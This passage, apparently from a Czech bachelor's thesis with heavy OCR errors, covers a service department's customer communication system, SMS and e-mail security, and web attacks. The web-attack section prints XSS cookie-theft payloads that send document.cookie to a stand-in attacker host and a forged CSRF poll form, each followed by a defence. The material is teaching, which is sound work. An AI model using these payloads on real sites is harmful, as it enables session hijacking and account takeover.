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Anotace

Prace se zabyva zplisoby komunikace servisniho oddéleni se zédkaznikem (web,
mobilni telefon, ...). Cilem teoretické ¢asti bude srovnat moznosti komunikace a zhodnotit
souCasné¢ komunikaéni systémy z hlediska efektivnosti komunikace a zabezpeceni. Cilem
prace bude vytvoieni webové aplikace, s vyuzitim databdzového systému pro evidenci
servisnich oprav s moznosti generovani opravenek a servisnich listl. Zakaznik se bude
moci riznymi zpusoby dotazat na stav své zakazky.

Kli¢ova slova

Intranet, servisni odd€leni, webova aplikace, komunikac¢ni systém, PHP, HTML, CSS,
Javascript

Title

Communications system for service departments

Annotation

This work deals with ways to communicate with the customer service department
(web, mobile phone, ...). The theoretical part will compare the communication options and
assess the current communication systems in terms of efficiency and communication
security. The aim of the work will be to create Web applications using the database system
for recording the repair service with the possibility of generating corrections and service
sheets. The customer will be able to ask different ways to state their contracts.
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1 Uvod

Cil mé bakalatské prace je vytvofit komunikacni sytém pro mensi firmu zabyvajici
se prodejem pocitatovych sestav, mobilnich telefonli a poskytovanim internetového
ptipojeni. Integrovany firemni systém se prioritné zamétuje na komunikaci mezi servisnim
oddélenin a zakaznikem. Pfi vytvafeni systému byl kladen diraz na jednoduchost a
uzivatelskou ptivétivost. Tato aplikace uleh¢i zaméstnancim praci pfi reklamaci zbozi, coz
v konecném vysledku umozni firmé vice se soustiedit na rst prodeje a zvySovani obratu.

Teoreticka ¢ast se bude zabyvat porovnanim jiz existujicich feSeni na nasem trhu.
Vyhodnotim, které zpiisoby komunikace zdkaznik - servis jsou v soucastnosti nejvice
pouzivané (web, SMS) a detailné&ji rozeberu princip jednotlivych feseni.

Aplikace umozni zaméstnanci pfijmout zbozi a automaticky generovat servisni list
opravy spolu s opravenkou pro zakaznika. Po realizovani servisnich oprav bude zdkaznika
informovat pomoci kratké textové zpravy ptipadné¢ e-mailu. VSechny opravenky,
zadkaznici, servisni protokoly budou uloZeny v databazovém systému.
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2 Firemni komunikaéni systém
2.1 Zakladni charakteristika

Firemni komunikacni systém neboli intranet Ize chépat jako soukromou
pocitatovou sit’ vyuZivajici internetovych protokolt. Casto je timto terminem oznadovan
soubor vnitrofiremnich webovych stranek bézicich na aplikaci zvané redakéni nebo
publikacéni systém. [1]

Od klasické webové prezentace se lisi v mnoha aspektech. Integrovany firemni
systém primarn¢ slouzi k efektivnéjsi praci zaméstnancii a ne k ziskani dalSich zakaznikd.
Z tohoto divodu je kladen diraz na jednoduchost a co nejvice intuitivni ovladani pro
kazdodenni uzivani. Zameétuje se na sdileni informaci, organizaci a kontrolu provedenych
ukoll ve firmé.

Ptistup do ného maji pouze pracovnici firmy od mnoha Grovni managementu az
po pracovniky v niz8ich vrstvach. Kazdé4 skupina ma odlisnd prava ptistupu do aplikace,
které ptesn¢ definuji funkce a role zaméstnancl. Prava zamezuji situaci, pii které by
naptiklad fadovy zaméstnanec chtél rozhodovat o dilezitych prveich vedeni firmy.

2.2 Motivace

S rozvojem internetu v poslednich letech se stava interni firemni systém nezbytnym
pro spravny a efektivni chod konkurenceschopné organizace. Pomaha zaméstnanctim 1épe
chapat spolecné cile podniku a plnit tak ukoly, které vedou k jejich dosazeni. Mnohem
jednodussi je uverejnit plany na intranetu, nez je prezentovat kazdému zameéstnanci zvIast’
jinou formou. Tento postup zamezuje dezinformaci a predchazi spousté problémi, které
maji Spatny vliv na vztahy v podniku. DalS§im pifinosem je sniZeni Casto velmi slozité
byrokracie. Dokumenty I1ze uchovavat v elektronické podobé a ty miZzeme nasledné snadno
aktualizovat.

Hlavni pFinosy pri zavedeni intranetu do firmy:

e zvySeni produktivity prace, coz zajisti narast firmy,

e zaméstnanci budou mit vétsi pocit tymové prace a efektivné zhodnoti svoji
praci,

e prohloubeni osobnich vazeb a vztahli mezi pracovniky ve firmé ale i mezi
zakazniky a zaméstnanci. [2]
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3 Analyza informacénich systému na trhu

S rozvojem informacnich technologii se na trhu vytvofila velkd konkurence
s informa¢nimi systémy. Téméi kazd4d firma je schopna implementovat a integrovat
aplikaci ,,na miru®, jinak feCeno pfesn¢ to co zdkaznik potfebuje. VéEtSina organizaci si
chrani své ,.know-how* z diivodu strachu pred konkurenci. Z tohoto diivodu mi nezbyvalo
nic jin¢ho, nez se spokojit s recenzemi a vyzkouSeni si dema systému na internetovych
strankach jednotlivych spole¢nosti. Zaméfil jsem se hlavné na systémy, které jsou
jednoduché a zaroven co nejvice efektivni. Diilezita byla také moznost rozsiteni aplikace a
technicka podpora spole¢nosti.

3.1 Miranda 2

Nasazeni CMS Miranda2 do firemniho intranetu umoznuje efektivné komunikovat
se zaméstnanci, sdilet informace, budovat firemni studnu znalosti, provadét on-line Skoleni
(e-Learing) a v ramci firemniho portalu sjednotit ptistup ke v§em podnikovym informacim
a aplikacim. [5]

Piehled modulu:

e Ankety,

o Soutéze,

e Diskuzni forum,

e Kalendar udalosti,

e Novinky na serveru,

e Rozesilani e-maild (aviza),

e Export do PDF,

e Pfiprava pro tisk,

e Fulltextové vyhledavani,

e Lematizator pro fulltextové vyhledavani (stemmer),
e Slovnik synonym pro fulltextové vyhledavani,
e Piekladové a synonymické slovniky,

e Zivotni cyklus dokumentu,

o Cisténi HTML kodu,

e Detailni statistiky pfistupu,

e Mapa serveru,

e Monitoring aktivit uZivateld,

e Rizeni piistupu LDAP,

e Rozhrani na externi Document Management Systém (DMS),
e Replika¢ni modul,

e SMS server. [6]
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Webserver

HTTP server

Mirandaz
Obrazek 1 - Architektura systému, zdroj [5]

3.2 FlexiblePortal

Projekt vznikl letos$ni rok a je zalozeny na modernich technoligiich. Snazi se co
nejvice prizpusobit zdkaznikovi. Umoziuje sestavit feSeni na miru, za pomoci
kombinovani jednotlivych modult. FlexiblePortal je komplexnim prostfedkem ke
zefektivnéni vnitrofiremni komunikace, zjednoduseni spoluprace tymt, je snadnou cestou
ke sdileni informaci. [7]

Piehled moduli:

e Sprava obsahu,

e Sprava firemnich dokumentd,
e Firemni novinky,

e Sprava databaze subjekti,

e Organizacni struktura firmy,
e Kalendar,

e Mail,

e MediaGalerie. [8]

3.3 xWORK

Tento systém je moduldrni intranetové feSeni pro stfedné velkéi malé
firmy, obchodni divize, vyvojové odd¢€leni, servisni tymy atd. Jeho nasazeni pomuze
zlepsit koordinaci pracovnich procesti uvniti firmy. Systém umoziuje sdileny pfistup k
informacim pfes intranet i1 Internet, coz ptinasi spolecnosti on-line ptistup odkudkoliv. [9]

Piehled modulii:

e Didf aplanovani Casu,
e Projekty a ukoly,
e CRM feseni (celofiremni adresat,kontakty),
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e Obchodni ptipady,

e Zdroje a zadanky,

e Dokumenty,

e Dochazka,

e Uzivatelé a administrace,
e Statistiky a reporty. [9]
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Obrazek 2 - Prostiredi systému xWork, zdroj [9]
3.4 Hodnoceni systému

Vsechny tfi vybrané systémy jsou bezpochyby pfinosem pro firmy. Po detailnéjSim
zkoumani narazime na urcité odliSnosti mezi systémy. Na zakladé pozadavka firmy, pro
kterou vytvaiim aplikaci, jsem vybral pét zakladnich kritérii. Podle nichz jsem srovnéaval
systémy.

Modularni kritérium

Predstavuje moZnost budouciho rozsifeni aplikace o dalsi moduly, at jiz
naprogramované nebo vytvotrené na pozadavek zakaznika. Prestoze vSechny tii testované
systémy spliiovaly tento ptfedpoklad, nejvetsi mnozstvi zakladnich modult obsahovala
Miranda 2, obsahla tak Siroké spektrum praktického vyuziti a v této kategorii ziskala prvni
misto.

Pronajem

Ne kazda firma si mize dovolit koupit cely systém, piedev§im z dlivodu nedostatku
dostupnych financi. VéEtSinou jsou penize investovany za jinym ucelem a proto hlavné
mensi firmy (do této kategorie spada i1 firma pro kterou systém realizuji) uvitaji moznost
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pronajmu systému. Tuto moznost obsahoval pouze systém xWork, coz mu v kone¢ném
disledku umozni, ziskani mensich firem za své zakazniky. Zde vyhrava jednoznaéné
xWORK.

Multiplatformni kritérium

Dalsi dilezity pozadavek je moznost nasazeni na riznych typech operacnich
systémi. Tohoto si jsou vyrobci dobfe védomi a snazi se vytvorit aplikaci, kterou lze
implementovat na co nejvice platformach. Muzeme fict, Ze systém bez podpory vétSiny
platforem nema v dnes$ni dobé misto na trhu. Nejlépe to vytesil produkt Miranda 2, svym
postavenim na bazi otevienych standardi (J2EE a XML) zaru€uje plnou pienositelnost
mezi riznymi operacnimi systémy.

E-mail modul

Toto kritérium, stejné jako sms modul, jsem zatadil z diivodu zaméteni mé prace na
moznosti komunikace. Komunikace pomoci e-mailil je v soucastné dob¢ velice rozsifena a
ve spousté sytému nepostradatelna. Ze tii testovanych obsahuji tento modul Miranda 2 a
FlexiblePortal. Lepsi feSeni ma FlexiblePortal, zde mizeme zasilat korespondenci na
uzivatelské jméno, e-mailovou adresu a posilat pfilohy také vice uzivatelim najednou.

SMS modul

4

Jak uz jsem zminil e-mail modul obsahuje vétSina aplikaci, to se ovSem neda fict o
dalsim zptisobu komunikace pres kratké textové zpravy. Pfitom piedani informace ptes
sms zpravu, dorazi k cilovému uzivateli ¢asto rychleji nez e-mail. V testu s nim disponuje
pouze Miranda 2.

Tabulka 1 - Srovnani systémi

Produkt Moduldrni Prondjem | Multiplatformni | E-mail modul | SMS modul
Miranda 2 Ano Ne Ano Ano Ano
FlexiblePortal Ano Ne Ano Ano Ne
xWORK Ano Ano Ano Ne Ne

Vsechny sytémy jsou feSeny jako webova aplikace, z tohoto divodu je jejich
implementace jednodussi. Nemusite instalovat zaddny software, sta¢i pouze webovy
prohlize¢. Kazdy z jednotlivych systémt zajisti firmé posun doptfedu. Jestlize firma ma
kapital, urcité bych doporucil feSeni s ndzvem Miranda 2. Obsahuje spoustu roz$ifeni a
pfizplsobuje se pozadavkiim firmy.
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4 Pozadavky na systém

vvvr

nasledné aplikovatelného navrhu. Pfi ndvrhu musime mit vzdy na paméti celkovy piinos
aplikace. Musime detailné analyzovat pozadavky firmy a hlavné znat jeji cil
v nésledujicich letech. Systém po zavedeni obvykle provazi podnik po vétSinu svého
fungovani na trhu, pouze se v prib¢hu let aktualizuje. Z tohoto diivodu by technologie,

které pouzijeme, neméli byt zastaralé.

Zasady, které by méli byt dodrZeny pii navrhu sytému:

Dodrzeni norem, jediné ty nam pomohou k dalsSimu, spravnému vyvoji
sytému,

zabezpeceni mize mit osudovy dopad na podnik. Zabezpeceni by mélo byt
jak z vn&j§i strany (internetovych hackeril) tak 1 z vnitini strany (uzivatelt
intranetu),

Modularnost, zajisti jednoduché rozsiteni sytému za pomoci dalSich modult
vyvinutych v pribéhu nasledujicich let dle potteb firmy,

Zameéstnanci zodpovidaji za provoz a obsahovou ¢ast aplikace, odbornici se
zamétuji na funkénost a spravuji aplikaci,

Personifikace jednotlivych uzivatelt, dilezity prvek, pomoci kterého miize
kazdy uzivatel vyuzivat informace jemu uréené a interni moduly,

Pti zavedeni aplikace do firmy musi byt tento ¢in podpotfen komunikaéni
kampani. Management musi objasnit, proc je aplikace diilezita, jaké jsou
jeji vyhody a pfinosy pro zameéstnance. Nasledn€ musi dojit k detailnimu
proskoleni jednotlivych funkci a moZnosti sytému. [3]

Po dodrZeni obecnych zasad navrhu je potieba pecliveé sepsat zakladni pozadavky
aneb odpovéd’ na otazku ,,Co mé dany systém spliiovat®.

Seznam zakladnich poZadavki na sytém:

efektivni zpracovani velkého mnozZstvi dat,

propojeni do internetu,

reakce na udélost, kratka doba odezvy,

aktivni vyhledavani relevantnich informaci dle zadaného profilu,
bezbariérovy piistup k informacim,

vysoka bezpec¢nost,

moznost pfizplisobeni potiebam uzivatele,

aktivni plisobeni na uzivatele systému,

ekonomicky provoz,

vysoka spolehlivost,

snadna modifikovatelnost, rozsifovani o nové funkce. [4]

16



V neposledni fad¢ je dulezité vybrat spravné technologie pro realizaci aplikace.
Hlavnim kritériem mého vybéru byla Sirokd podpora na riznych typech operacnich
sytému. Déle potom jednoduchost, srozumitelnost a také dostupnost technologie.

Vybrané technologie pro realizace aplikace:

PHP 5 — velice rozsifeny skriptovaci programovaci jazyk, nezavisly na
platformé,

MySQL 5.1.37 — databazovy systém vytvaii spolu s PHP zakladni stavebni
kamen vétSiny webovych aplikaci,

JavaScript — objektivé orientovany skriptovaci jazyk, vhodné rozsituje praci
o slozité&;si Casti,

AJAX — vyuziva modernich technologii, pro vyvoj interaktivnich webovych
aplikaci, které ptidavaji aplikaci uzivatelsky ptijemné;jsi prostredi.

Zakladni funkce sytému

Nad funkcemi, které mé systém splilovat je potieba se dikladné zamyslet. Kazda
firma vyuzivd systém k jinému tucelu. Na zdkladé¢ vyuziti systému ve firmé¢ mlzeme
odhadnout pottebné funkce pro spravnou implementaci. I kdyz se pozadavky na systém
1isi, vzdy by mél obsahovat zdkladni funkce.

Zakladni funkce:

E-mail: stavebni kdmen intranetti. Komunikace miize probihat zamé&stnanec-
zaméstnanec nebo zaméstnanec — zakaznik,

Sdileni souborti: sdileni plant, informaci, zkuSenosti atd.,
Hledani: vyhledavani riznych informaci a rychle;jsi pfistup k nim,
Sprava sité: zajist'uje spravny chod intranetu. [2]
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5 Komunikaéni kanaly

Plynuly informacni tok je dualezitou soucasti spravného chodu organizace.
Komunikace vétSinou vazne pii jednadni s vice nez jednou osobou a dochazi tak k Spatné
informovanosti spolupracovnikii i zdkaznikii. Tuto stranku jednozna¢né intranet zlepsSuje.
Naptiklad pomoci stiedisek zprav lze okamzit¢ rozeslat velké mmnozstvi informaci.
V ptipadé, ze zaméstnanci pracuji ve vice pobockéch ¢i z domova, je nesmirné dualezité,
aby komunikace nevazla.

5.1 Prehled komunikaénich kanalu

V poslednich letech se paleta zplsobli komunikace rozsifila hlavné na diky
internetu. S vyvojem novych technologii a vétsi dostupnosti pro uzivatele si kazda firma
muze zvolit, ktery komunikac¢ni kanal je pro ni nejvice efektivni. Vyuzitd technologie by
m¢éla byt zodpovédné zabezpecena s ohledem na informace, které pfenasi.

Nejcastéjsi komunikaéni kanaly:

e E-mail — vyuzivén je pfedevsim diky své bezplatnosti. Kazdy kdo ma
webovou stranku vlastni e-mailovou schranku,

e SMS — vyuzivan pro svou jednoduchost,

e Telefon — vyuzivan vétSinou po UspéSném navazani kontaktu jinym
kanalem,

e ICQ —slouzi k online komunikaci. Pouzivani je zdarma a odezva je velmi
rychla,

e Skype — alternativa ICQ, zatim mén¢ tolik rozsiten.

5.1.1 SMS komunikace

Moderni zptisob komunikace nicméné u vétSiny firem moc nerozsifen. VyuZzivan
jak na podporu sluzeb, vyrobk a dalSich komercnich aktivit, tak 1 na zefektivnéni
obchodnich procesti. Ve spojeni s dal§imi komunikaénimi kandly vytvarii idedlni nastroj
pro snadnou propagaci firmy.

TVORBA HROMADNE
PEREONIFIKOVANE B 0 ODESLANI S e
SME IPRANY SME TPRAV

PRIPRAVA A
ZPFRACOVANI [ENS
DAT

Obrazek 3 - Princip hromadného rozesilani SMS zprav, zdroj [10]
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Vyhody:

e Jednoduchost
e Rychl¢ informovéni zdkaznika
e Moznost rozesilani vice uzivatelim

Nevyhody:

e Placena sluzba

e Pouze ke sdéleni kratSich informaci

5.1.2 E-mail komunikace

Pouziva se jak pro internetovy systém, tak i pro intranetové systémy, které dovoluji
zasilat si vzdjemné zpravy uzivatelim uvnitf jedné spolecnosti nebo organizace.
Intranetové systémy Casto vyuzivaji nestandardnich protokoli, mivaji ovSem branu, ktera
jim dovoluje posilat a pfijimat e-maily z internetu.[11]

TWORBA
E-MAILU
= .

KOMPLETACE ODESLANI
E-MagL el E-aamavi

ErRssOvb i

TWORBA
PRILOH

DAT

ZPRANY ZPRAVY

Obrazek 4 - Princip hromadného rozesilani e-mailovych zprav, zdroj [12]

Tento zptisob minimalizuje naklady firmy z diivodu svoji bezplatnosti. Diky tomu
je sluzba hojn€ vyuzivana a pfed¢i mnohé zplsoby komunikace. Zajistuje pohodlné
informovani zékazniki o novych produktech, sluzbach, akci a tim generuje firmé¢ lepsi
hospodaiské vysledky. Pomoci této sluzby lze zasilat dokumenty v elektronické podobé¢ a
snizit tak byrokracii. Nehled¢ na to, Ze tento zplisob je mnohem rychlej§i. Umoznuje tak
firmam zlepsit kvalitu svych sluzeb a prohloubit diivéru mezi nimi a zdkaznikem.

V mé aplikaci je tento zplsob vyuzit pifi komunikaci servisniho oddéleni se
zakaznikem. V pfipadé, Ze je jiz zboZi v pofadku vyreklamovano dojde k automatickému
odeslani e-mailu zakaznikovi, ve kterém jsou detaily reklamace a podminky vyzvednuti.

Vyhody:

e Bezplatnost
e Zasilani delSich zprav
e Moznost hromadnych zprav
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e Pienos dokumentt v elektronické podobé
Nevyhody:

e Zakaznik musi mit e-mailovou schranku
e Delsi odezva
e VEtSi moZnost ztraty zpravy neZ u SMS
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6 E-mail a SMS komunikace z hlediska bezpeénosti

Oba zptisoby pienaseji Casto velice dulezité informace mezi firmou a zakaznikem.
Z tohoto diivodu musi byt ptenos dobtfe zabezpecen. Zplsobu jak lze fesit zabezpeceni je
mnoho a odviji se vzdy od cile utoku.

6.1 Bezpecnost SMS komunikace

SMS zpravy se stavaji ter¢em utoku diky své jednoduchosti a pohodlnosti. Tim, ze
prochézeji siti operatora v oteviené podob¢, se stavaji cilem nejen odposlechu, ale mnohem
vetsi hrozbou je pozménitelnost zpravy. Metoda dokaze zfalSovat odesilatele a skute¢nym
odesilatelem se stdva Uplné jind osoba. Tato aktivni metoda dokaze také zménit obsah
zasilané informace.

MozZnosti ochrany SMS:

e Zabezpeceni vici sledovani — Sifrovani zpravy pomoci standardu AES a
klice odvozeného z ptedem dohodnutého hesla, vytvari ze zpravy pouze
nesmyslnou zmét’ znak.

e Zajisténi integrity zprav — zprava obsahuje zabezpecovaci kod zalozeny na
standardu SHA-2. V ptipad¢, Ze chce uto¢nik zménit obsah zpravy, dojde
také ke zméné kodu a u koncového uzivatele nahlasi chybu.

e Zajisténi toho, Ze odesilatel je skutecné osoba, ktera se za néj vydava —
vyuziva pfedem dohodnuty kli¢, ktery by uto¢nik musel znat pti pokusu o
podvrzeni zpravy.

e Ochrana ptijatych a odeslanych SMS pied nepovolanymi osobami - pifed
vstupem do piijatych a odeslanych zprav jste dotdzan na hlavni heslo,
pokud je zadano Spatné€ neni mozné zpravy rozsifrovat. [13]

6.2 Bezpecnost E-mail komunikace

Tim, Ze je komunikace pomoci e-mailu rozsifenéj$i nez pomoci SMS, stava se
Castéji terCem utokli. VéEtSinou uZivatelé vyuzivaji nezabezpeceny pienos a zpravu si tak
muze po cesté precist tfeti osoba. Bezpec¢nost 1ze zajistit pomoci Sifrovani obsahu zpravy a
elektronického podpisu.

Zasifrovani zpravy

Vyuziva se principu tzv. asymetrické kryptografie, kterd vyuziva dvou kli¢t. Jeden
je vetejny, pomaha k zasifrovani dat a miize byt zvefejnén. Druhy tzv. privatni je urcen
k desifrovani a musi byt peclivé chranén. Jestlize mame pouze jeden kli¢ nelze zpravu
desifrovat a ziskat jeji obsah. Podminkou je znalost vefejného kli¢e adresata, ktery lze
ziskat tak, ze pfed zaCatkem Sifrované komunikace si uzivatelé vymeéni elektronicky
podepsané zpravy. Po ziskdni vefejného kli¢e adresata miize odesilatel zpravu zaSifrovat
timto klicem. Pi{jemce si pii pfijmu zpravu rozsifruje svym privatnim klicem.[14]
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Elektronicky podpis

Nahrazuje u elektronickych zprav rucné vytvoteny podpis. Pfipojuje se k datim,
aby spravné identifikoval odesilatele.

Ma zajistit tyto pozadavky:

e Uvedena osoba podepsala data védomé,
e Podepsand osoba je elektronickym podpisem dostate¢né ovéiena,
e Dokument je pravy a nebyl nasledné modifikovan. [14]

V piipadé, Zze chceme zpravu vybavit elektronickym podpisem, pouzijeme k tomu
svého privatniho klice. Pomoci hashovaci funkce se vytvoii kontrolni soucet, ten se
zasifruje privatnim klicem odesilatele a pfipoji ke zprave. Pii ovéfeni stejnd hashovaci
funkce vypocte kontrolni soucet zpravy, pomoci vefejného kli¢e odesilatele se deSifruje
elektronicky podpis a ziska kontrolni soucet zpravy. V ptipadé€ shody kontrolnich souctil je
pravost potvrzena. [14]

Timto zpiisobem je vZdy ovéiena:
e Autenticita podepisujici osoby, zpravu mohl podepsat pouze ten kdo ma
potiebnou dvojici klica.
e Integrita zpravy, v piipadé, Ze je elektronicky podpis vyhodnocen jako

korektni.
e Odpovédnost odesilatele, protoze privatni kli¢ zna pouze jeho drzitel.[14]
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7 Zabezpeceni a utoky na webové aplikace
7.1 Cross Site Scripting — XSS

Tato technika je v souCasné dob¢ jednou z nejzndméjSich pii napadeni webové
aplikace. Nicméné pouze mald Cast programdtorti piikladd tomuto utokd patficnou
pozornost. Pricip spocivd v zdmérném vlozeni uto¢nikova kodu do ,,bezpecného* obsahu
webové stranky [15]. Objevuje se nejcastéji tam, kde mohou uzivatele zadavat své vlastni
data, kterd jsou nésledné zobrazena na vystupu. Jednd se typicky o internetova fora,
diskuze, vyhleddvace. Nebezpecny kod je napsan v klientském skriptovacim jazyce,
nejcastéji v Javascriptu. Rozeznavame tii typy utoku:

Okamzity utok

V originale non-persistent nebo reflected je zaloZzen na okamZitém vykonani
nebezpeéného skriptu. Vyuziva data, ktera vétSinou nejsou dale uloZena, coZz na prvni
pohled nepfedstavuje podstatny problém. Ten nastavd ve chvili, kdy webova aplikace
vyuziva parametry z URL. Utoé¢nik tak dokaze piesvédgit uzivatele, aby kliknul na odkaz
s nebezpecnou skritovaci funkci a nasledné dojde k ziskani udajii ulozenych v prohlizeci
uzivatele [15]. Tento utok se vyskytuje hlavné u vyhledavacich formulaiti, chybovy
stranek apod. Neni tolik ¢asty na rozdil od dalSich typt utoku.

Perzistentni utok

Mnohem vét§i hrozbu pfedstavuje tzv. perzistentni Utok (v origindle persistent,
stored). Jeho hlavni vlastnosti je to, Ze po Usp&Sném utoku ziistava vlozeny javaskriptovy
koéd na napadené strance trvale [15]. T&Zzi z faktu, Ze nezabezpecena aplikace nijak
nekontroluje vstupni data. Nasledky uspé$ného utoku jsou mnohonasobné vétsi nez u
predchoziho, protoze se vétSinou tykaji vSech uzivateld. Z tohoto divodu je cilen na
internetova fora,diskuze a predevsim e-mailové sluzby.
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1)
Utofnik odetle POST data do skriptu register. php - vio3i kilantsky skript do ndzvu uZlvatels

username = “<script sec="http://nebezpecna_adresa.cz/utok.js" </ script=Karel”™

utotnik webovy server

databaze

Ma stranku, kde se zobrazuji posledni registrovani uZivateld, pfistoupi nic netusici uZivatel.
P zobrazeni nazvu Uioénika se pfenese se strankou i skript.

! 3) uzivatel webowy server databaze

]
Ma poéitadi uZivatele se spusti kientsky skript (z adresy http: //nebezpecnaadresa. cz/utok. j5),
kiery nacte viachny cookies ulivatele a nepozorovand je odesle diodnikove webovému servery.
Mezi cookies se nachazi | PHPSESSID, kterouw miZe Otognik zneuiit k ukradeni session ID uivatels,

1) pofadavek na utok.

Z} poalénd utok . §s

) utok.js S spusti
8 adeéle citliva data

uZivatel webovy server
Utodnika

Obrizek 5 - Typicky tutok perzistentniho titoku, zdroj [15]

Lokalni utok

Nejmladsi typ utoku Casto oznaCovan jako DOM-based nebo local. Je velmi
podobny okamzitému utoku, ale ke zpracovani nebezpecného kodu se zneuzije existujiciho
klientského skriptu [15]. Cilem jsou lokéalni webové aplikace, ve kterych nastava v piipade
zpracovani parametri stranky javascriptem, ktery vypisuje pfedany parametr na stranku.
Utoénik predd v hodnoté parametru vlastni javascriptovy kod a ten se provede v kontextu
dané stranky.
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Priklad utoku

Utoc¢nik se Casto snazi o ziskani cookies obéti a nasledného session ID, které
indentifikuje uzivatele v dané relaci na serveru. Uto¢nik se poté mize vydavat za jiného
uzivatele.

Typicky priklad odcizeni cookies:

<script>document.location.replace ( http://www.utocnik.cz/getcookie.php +d
ocument.cookie) ;</script>

zivatel je pfesmérovan na stranku uto¢nika v pomoci getcookie.php zpracuje
Uzivatel je pfesmér tranku ut ka, kte moci getcook h

ptichozi cookie. Nevyhodou tohoto utoku je, ze dochazi k pfesmérovani na web utocnika,
tomu se lze vyhout nasledujicim zptisobem.

<script>

document.write ("<img
src='http://www.utocnik.cz/savecookie.php?cookie="+document.cookie+"
width='0"'" height='0"'/>";

<script>

Tento utok je tezko odhalitelny, protoze uto¢nik nastavil velikost obrazku na 0 x 0 pixeld.
Reseni zabezpeéeni

Zakladem pro obranu je dikladné oSetfeni vSech vystupti z aplikace funkci
htmlspecialchars (). Funkce nahradi vSechny potencionalné Skodlivé znaky jejich
odpovidajicimi textovymi entitami. Napiiklad menSitko nahradi za s1t. V kone¢ném
disledku dojde k zobrazeni znaktli na obrazovku, tak jak je Gtocnik zadal a neinterpretuji se
ve svém vyznamu.

Zikladni programatorsky navyk pri kazdém volani funkce echo:

echo (htmlspecialchars ('<hl>Toto chci opravdu vypsat na vystupu</hl>'"));

OSetfeni se pouZziva az pfi odesilani dat na vystup, jinak se do aplikace vkladaji
nesystémove rozpory.

Shrnuti

Utok typu Cross-Site Scripting je jeden znejastéjsich webovych utoki
souCasnosti. M4 vysokou procentudlni tUspéSnost z divodu nedostatecné znalosti
programatorti. Kazdy programator by si mél peclivé hlidat implementaci zabezpeceni proti
tomuto Utoku a dodrZovat zékladni pravidla pfi psani kodu.
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7.2 Cross-site request forgery(CSRF)

Dalsi velice rozSifeny typ utokd vyuzivd své jednoduchosti a slozitejsi
implementace na stran¢ programatora. Tyka se =zneuziti opravnénych pozadavki
registrovanych uzivatelti na urcity systém a princip spociva v provedeni urcité akce ve
webové aplikaci pod identitou obéti utoku. Metoda je nejCastéji realizovana pomoci
specidln¢ upraveného odkazu. V piipadé kliknuti na odkaz, mize utocnik provést akci,
kterou by uzivatel sdm nikdy neprovedl. VétSinou dochézi k volani skriptu s upravenymi
parametry a pokud aplikace ovéfuje provedeni akce pouze za pomoci session ID, akce je
uspésné vykonana.

2)

Dikladnou analyzou systému e-bankingu Otaénik zjisti,
1) ohsahuje formulaf uréeny k penéEnimu transferu. W HTML
Gtodnik vi. 2a cil jaho Utoku (neznaty u2ivatel) je vybeofl kopii loholo formuléfe s viastnimi daty a zabezpedi
pfiflaSen k e-bankingu urtit spoletnosti a md jeji ckamzits automaticke odeslani pomoc javascriptu.
povidom| o tom, jak tate sluZba funguje Formulaf zneviditelni formou ¢ifrases s nulovou velikosti

a na stranku doda klamnouw informaci {ohrazek), aby

naznaly uivalel nepojal podeziani.

navrh falesné stranky

3 neznaly uZivatel
Utoénik prostiednictvim emailu posle neznalému udivateli
odkaz na fakednou stranku s tim, e obsahuje najaky

zajimavy cbrazak, klery dotyEny musl sidél, 4)
UZivatel lest neprokoukne a obrazek sl zobrazi. Piitom dojde k

wykondn( skriptu, kiery odedle formul&F, Protofe je uZivatel v
dané chwvlli pfinlaseny k systému, e-banking nic nepoana,

3)
W o rdmel bankovnho systému se podadavek autorlzuje a
wykond, Dejde k transferu finans.

system elektronickeho
bankownictvi

Obrazek 6 - Utok pomoci padélani pozadavku, zdroj [15]
Priklad utoku

Ptiklad ovlivnéni vysledkti hlasovani ankety. Nejprve si ukdzeme jak vypada
zdrojovy kod formuléfe ankety.

<form action="http://www.web.cz/anketa.php" method="post">
<input type="radio" name="vyber" value="1"> mozZnost a)<br>
<input type="radio" name="vyber" value="2"> moZnost b)<br>
<input type="radio" name="vyber" value="3"> moZnost c)<br>
<input type="submit" name="hlasovat" wvalue="Hlasovat">
</form>
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Utoénik vytvoii podobny formulaf s tim rozdilem, Ze pole naplni predem pozadovanou
hodnotou a jako typ uvede hidden. Tim zajisti, Ze uzivatel pole neuvidi a az po kliknuti na
falesny odkaz ho uvitd hlaska ,,Dékujeme za vas hlas“. Tento odkaz rozesle na mnoho e-
mailovych adres nebo vlozi do diskuznich for.

<html><head></head>
<img src="http://www.utocnik.cz/img.gif">
<form action="http://www.web.cz/anketa.php" method="post">
<input type="hidden" name="vyber" value="2">
<input type="submit" name="dalsi" value="Dalsi">
</form></html>

Reseni zabezpeéeni

Otazka ochrany spoéiva v bezstavovém protokolu HTML. Re$enim je dikladné
zabezpeceni vstupnich bodid u dulezitych operaci, které zajisti kontrolu opravnénosti
pozadavku uzivatele. Tohoto by Slo dosahnout zménou hesla v aplikaci, ale pfi provedeni
kazdé akce by uzivatel musel znovu zadavat heslo. Reseni se tak stava v praxi nepouZitelné
diky uzivatelské neptivétivosti a velkému riziku ukradeni hesla.

Dalsi moznosti je dodate¢né kontrolovat hlavicku referer, kterd ndm udava adresu,
ze které uzivatel pfiSel, jestli je opravdu zna$i stranky. OvSem nékteré firewally tuto
moznost blokuji a mazou, proto se jednd o méné spolehlivou cestu.[15]

Typickym feSenim je systém tokenizace, ktery je zaloZzen na generovani
jednorazovych pfiistupovych hesel (tzv. token) ptfed kazdou operaci. Pii vykonani
pozadavku se ovéri, zda odeslany token je identicky s ocekdvanym, operace se vykona a
token se zni¢i, aby nemohl byt pouzit znovu. [15] Spolu s komplexnim zabezpecenim
aplikace je tato metoda ucinna.

Priklad dostate¢né nahodného generovani identifikatori:

Stoken= md5 (unigid(mt rand()) . $_SERVER['REMOTE ADDR']);

Shrnuti

Utok touto metodou dokaze byt velice efektivni aniz by uZivatel zaregistroval, e se
stal jeho soucésti. Plyne od samotné¢ho zédkladu webovych aplikaci a protoklu HTML.
Z tohoto diivodu je dilezité pii implementaci ochrany soucasné pouzit zabezpeceni i proti
Cross-site Scripting.

7.3 Databaze

Model relaénich databazi a ptistupovém systému klient-server je soucasti kazdého
moderniho webu. K ziskavani dat z datdbazového serveru se pouziva komunikacni jazyk
k tomu urceny (vétSinou SQL) a snahou utoc¢nikll je upraveni dotazu ve svij prospéech.
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V piipad¢ uspésného utoku se dostanou do cizich rukou data, ktera jsou citlivd pro
uzivatele, ptipadné dochazi k ovladnuti celého databidzového serveru. Dilezité je citliva
data, jako jsou hesla, chranit uz pti ukladani do databaze naptiklad spravnym kédovanim.

SQL Injection

SQL injection je skupina utokti zabyvajici se modifikaci vystupnich dat upravou
